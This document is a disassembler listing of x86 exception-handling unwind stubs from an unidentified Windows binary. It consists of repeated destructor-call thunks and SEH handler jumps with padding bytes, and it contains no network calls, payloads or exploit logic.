		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E7A0	proc near		; DATA XREF: sub_40E7A0+2o
		mov	eax, offset dword_43F6C0
		jmp	sub_4367C8
SEH_40E7A0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F744o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EC30	proc near		; DATA XREF: sub_40EC30+2o
		mov	eax, offset dword_43F718
		jmp	sub_4367C8
SEH_40EC30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED70	proc near		; DATA XREF: sub_40ED70+2o
		mov	eax, offset dword_43F758
		jmp	sub_4367C8
SEH_40ED70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F7B4o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439048:				; DATA XREF: ___:0040F148o
		mov	eax, offset dword_43F788
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439078:				; DATA XREF: ___:0043F814o
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F600	proc near		; DATA XREF: sub_40F600+2o
		mov	eax, offset dword_43F7E8
		jmp	sub_4367C8
SEH_40F600	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439268:				; DATA XREF: ___:0043F974o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FDA0	proc near		; DATA XREF: sub_40FDA0+2o
		mov	eax, offset dword_43F948
		jmp	sub_4367C8
SEH_40FDA0	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43939B:				; DATA XREF: ___:0043FA2Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393B1:				; DATA XREF: ___:0043FA3Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393BC:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393C7:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393DD:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393E8:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393F3:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439409:				; DATA XREF: ___:0043FA7Co
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439414:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43941F:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43942A:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439499:				; DATA XREF: ___:0043FADCo
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A4:				; DATA XREF: ___:0043FAE4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4394B2:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394E1:				; DATA XREF: ___:0043FB0Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F7:				; DATA XREF: ___:0043FB1Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43950D:				; DATA XREF: ___:0043FB2Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439518:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439523:				; DATA XREF: ___:0043FB3Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43952E:				; DATA XREF: ___:0043FB44o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43954F:				; DATA XREF: ___:0043FB64o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955A:				; DATA XREF: ___:0043FB74o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439565:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043FB94o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439591:				; DATA XREF: ___:0043FBACo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395A7:				; DATA XREF: ___:0043FBBCo
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B2:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D3:				; DATA XREF: sub_40FF60+8o
		mov	eax, offset dword_43FA00
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411860	proc near		; DATA XREF: sub_411860+2o
		mov	eax, offset dword_43FC10
		jmp	sub_4367C8
SEH_411860	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411910	proc near		; DATA XREF: sub_411910+2o
		mov	eax, offset dword_43FC40
		jmp	sub_4367C8
SEH_411910	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4396B8:				; DATA XREF: ___:0043FC9Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC70
		jmp	sub_4367C8
SEH_411990	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439718:				; DATA XREF: ___:0043FCF4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A50	proc near		; DATA XREF: sub_411A50+2o
		mov	eax, offset dword_43FCC8
		jmp	sub_4367C8
SEH_411A50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B40	proc near		; DATA XREF: sub_411B40+8o
		mov	eax, offset dword_43FD20
		jmp	sub_4367C8
SEH_411B40	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397E8:				; DATA XREF: ___:0043FDCCo
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414090	proc near		; DATA XREF: sub_414090+2o
		mov	eax, offset dword_4401F0
		jmp	sub_4367C8
SEH_414090	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BF8:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C10:				; DATA XREF: ___:00414122o
		mov	eax, offset dword_440230
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
